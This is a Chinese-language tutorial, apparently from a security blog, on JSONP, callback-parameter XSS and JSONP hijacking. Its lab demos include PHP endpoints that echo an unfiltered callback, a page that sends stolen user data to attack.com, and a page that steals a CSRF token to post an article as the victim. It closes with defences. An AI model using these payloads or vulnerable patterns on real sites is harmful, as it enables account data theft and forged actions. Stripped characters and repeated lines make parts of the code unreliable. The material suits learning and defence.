优秀网站的链接,做教育培训的网站,wordpress 二次元,个人微信公众号怎么做微网站吗JSONP
介绍
jsonp是一种协议#xff0c;准确的说#xff0c;他是json的一种使用模式#xff0c;为了解决Json受同源策略限制的问题。
基本语法
JSONP的基本语法为#xff1a;callback({“name”:”test”, “msg”:”success”})
常见的例子包括函数调用#xff08;如…JSONP
介绍
jsonp是一种协议准确的说他是json的一种使用模式为了解决Json受同源策略限制的问题。
基本语法
JSONP的基本语法为callback({“name”:”test”, “msg”:”success”})
常见的例子包括函数调用如callback({“a”:”b”})或变量赋值var a{JSON data}。
应用场景
json
假设在192.168.7.166下放了一个test.json
{ username: Sentiment, password: 123456 }这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件
script src./jquery.js/script
script $.ajax({url: http://192.168.7.166/test.json,type:get, dataType: json,success: function (data) {console.log(data);}})
/script此时该HTML文件和test.json同域所以HTML文件能够正常获取json文件的内容。 若将test.json放到192.168.43.136下HTML与test.json不同域这时去访问jsonp.html发现受同源策略限制被拒绝 这时就需要用到jsonp来解决这个问题
jsonp
jsonp简单地说就是利用script标签的src属性能够发起跨域请求的原理来实现的。
因此只需将test.json中的内容按照javascript规范去规定便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法并带入参数即可这也就是jsonp的核心原理。
body
scriptfunction callback(data){alert(name:data.username passwrod:data.password);}
/script
script srchttp://192.168.43.136/test.json/script
/body在test.json中按照javascript代码规范调用callback函数并将数据作为参数传入
callback({ username: Sentim, password: 123456 })此时请求jsonp.html成功请求跨域json
JSONP跨域漏洞
JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。
callback自定义导致的XSS
我们知道在JSONP跨域中我们是可以传入一个函数名的参数如callback然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。
如果JSONP端点对于用于传入的函数名参数callback处理不当如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时就会导致XSS漏洞的产生。
jsonp.php
?php
if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456});;
} else {echo No callback param.;
}
?请求后触发xss此时发现php默认的content-type为text/html 起初使用Java部署了这个环境但由于未对Servlet容器的content-type进行默认设置默认为null导致没有弹窗
其它content-type类型
经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS
JSONP劫持
因为jsonp实现了跨域资源访问如果获取的数据能够成为下一步操作的凭证那么便可以引起jsonp劫持。
Demo1— 窃取用户信息
设置模拟用户登录页面 login.php
?php
error_reporting(0);
session_start();
$name $_GET[name];
$pwd $_GET[pwd];
if($nameadmin $pwd admin || $nameguest $pwd guest){$_SESSION[name] $name;
}
if (isset($_GET[logout])) {if ($_GET[logout] 1) {unset($_SESSION[name]);}
}
echo a hrefhttp://victim.com/info.php?callbackjsonp用户信息/abr;
echo a hrefhttp://victim.com/main.php?logout1退出登录/abr data-tomark-pass;
if(!$_SESSION[name]){echo htmlheadtitle登录/titlemeta charsetutf-8/headbodyform actionlogin.php methodget用户名input typetext namename密码input typepassword namepwdinput typesubmit namesubmit valuelogin/form/body/html;
}else{echo 欢迎您, .$_SESSION[name].br data-tomark-pass;
}
?查询信息页面
info.php
?php
header(Content-type: application/json);
error_reporting(0);
session_start();
$callback $_GET[callback];
if($_SESSION[name] admin){echo $callback.({id:1,name:Sentiment});
} elseif($_SESSION[name] guest) {echo $callback.({id:2,name:guest});
} else {echo $callback.获取个人信息失败;
}
?当用户登录后访问info.php便能查询到自己的信息此时构造恶意html
html
headtitlelol/titlemeta charsetutf-8
/head
script srchttps://code.jquery.com/jquery-3.6.0.min.js/script
scriptfunction jsonp_hack(v){alert(JSONP hijacking);var h ;for(var key in v){var a ;a key : v[key] ,;h a;}alert(h);$.get(http://attack.com/index.html?valueh);}
/script
script srchttp://victim.com/info.php?callbackjsonp_hack/script
bodyh1Welcome/h1
/body
/html引导用户访问后成功被jsonp劫持
Demo2— 劫持token
下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。
add_article.php放置于目标服务器中功能是发表文章前提是token值成功校验通过
?php
if(!empty($_POST[token])){$csrf_token $_POST[token];$title $_POST[title];$content $_POST[content];if ($csrf_token jsonp_test){echo 文章发表成功~./br;echo $title./br;echo $content;}else{echo csrf token error;}
}
else
{echo no token;
}
?token.php
?php
header(Content-type: application/json);
if(isset($_GET[callback])){$callback $_GET[callback];print $callback.({username : Sentiment, password : 123456, token : jsonp_test});;
} else {echo No callback param.;
}
?attack.html攻击者用于诱使用户访问的文件放置于攻击者服务器中用于访问目标JSONP端点获取token之后再带上该token向目标服务器的add_article.php发起请求来发表文章
html
head
titleJSONP Hijacking/title
meta charsetutf-8
/head
body
form actionhttp://victim.com/add_article.php methodPOST idcsrfsend
input typehidden namecontent valueHacked by Sentiment!
input typehidden nametitle valueOops!
input typehidden idtoken nametoken value
/form
script typetext/javascript
function exp(obj){console.log(obj);var token obj[token];document.getElementById(token).value token;document.getElementById(csrfsend).submit();
}
/script
script typetext/javascript srchttp://victim.com/token.php?callbackexp/script
/body
/html引导用户访问后成功劫持token
防御
若可行则使用CORS替换JSONP实现跨域功能应用CSRF防御措施来调用JSON文件限制Referer 、部署Token等严格设置Content-Type及编码Content-Type: application/json; charsetutf-8 把回调函数加入到白名单
参考链接
http://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
https://zhengbao.wang/jsonp%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/
JSONP与JSONP劫持漏洞的学习 - 先知社区 (aliyun.com)